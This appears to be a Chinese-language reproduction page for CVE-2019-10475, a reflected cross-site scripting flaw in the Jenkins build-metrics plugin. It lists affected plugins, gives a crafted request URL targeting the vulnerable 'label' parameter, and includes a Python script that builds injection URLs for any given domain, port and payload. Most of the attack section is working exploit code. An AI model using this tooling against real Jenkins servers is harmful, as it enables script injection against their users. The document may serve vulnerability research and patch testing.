002-CVE-2019-10475 插件反射型xss

# CVE-2019-10475 插件反射型xss

### 一、漏洞简介

### 二、漏洞影响

* 360 FireLine插件， 最高包括1.7.2
* Bitbucket OAuth插件， 最高包括0.9
* Build-metrics插件 1.3及以下
* 部署WebLogic Plugin 最高至4.1
* Dynatrace应用程序监视插件， 最高包括2.1.3
* Dynatrace应用程序监视插件， 最高包括2.1.4
* ElasticBox Jenkins Kubernetes CI / CD插件， 最高至1.3
* 包含1.1.4及以下版本的 全局Post Script插件
* Libvirt Slaves插件， 最高包括1.8.5
* 截至 2.7.0的 Mattermost Notification插件
* Sonar Gerrit插件， 最高包括2.3
* Zulip插件 （包括1.1.0及以下）

### 三、复现过程

**1、手工复现**

该vulnearble插件位于`http://localhost:8080/plugin/build-metrics/`，漏洞参数为label。

“`bash
http://192.168.1.75:8080/plugin/build-metrics/getBuildStats?label=&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search
“`


2、利用脚本

“`bash
Usage:

$ python3 CVE-2019-10475.py –help
usage: CVE-2019-10475.py [-h] [-p PORT] [-d DOMAIN] [-i INJECT]

CVE-2019-10475

optional arguments:
-h, –help show this help message and exit
-p PORT, –port PORT port
-d DOMAIN, –domain DOMAIN
domain
-i INJECT, –inject INJECT
inject
“`

“`python
#!/usr/bin/env python

import sys
import argparse

VULN_URL = ”'{base_url}/plugin/build-metrics/getBuildStats?label={inject}&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search”’

def get_parser():
parser = argparse.ArgumentParser(description=’CVE-2019-10475′)
parser.add_argument(‘-p’, ‘–port’, help=’port’, default=80, type=int)
parser.add_argument(‘-d’, ‘–domain’, help=’domain’, default=’localhost’, type=str)
parser.add_argument(‘-i’, ‘–inject’, help=’inject’, default=’‘, type=str)
return parser

def main():
parser = get_parser()
args = vars(parser.parse_args())
port = args[‘port’]
domain = args[‘domain’]
inject = args[‘inject’]
if port == 80:
base_url = f’http://{domain}’
elif port == 443:
base_url = f’https://{domain}’
else:
base_url = f’http://{domain}:{port}’
build_url = VULN_URL.format(base_url=base_url, inject=inject)
print(build_url)
return 0

if __name__ == ‘__main__’:
sys.exit(main())
“`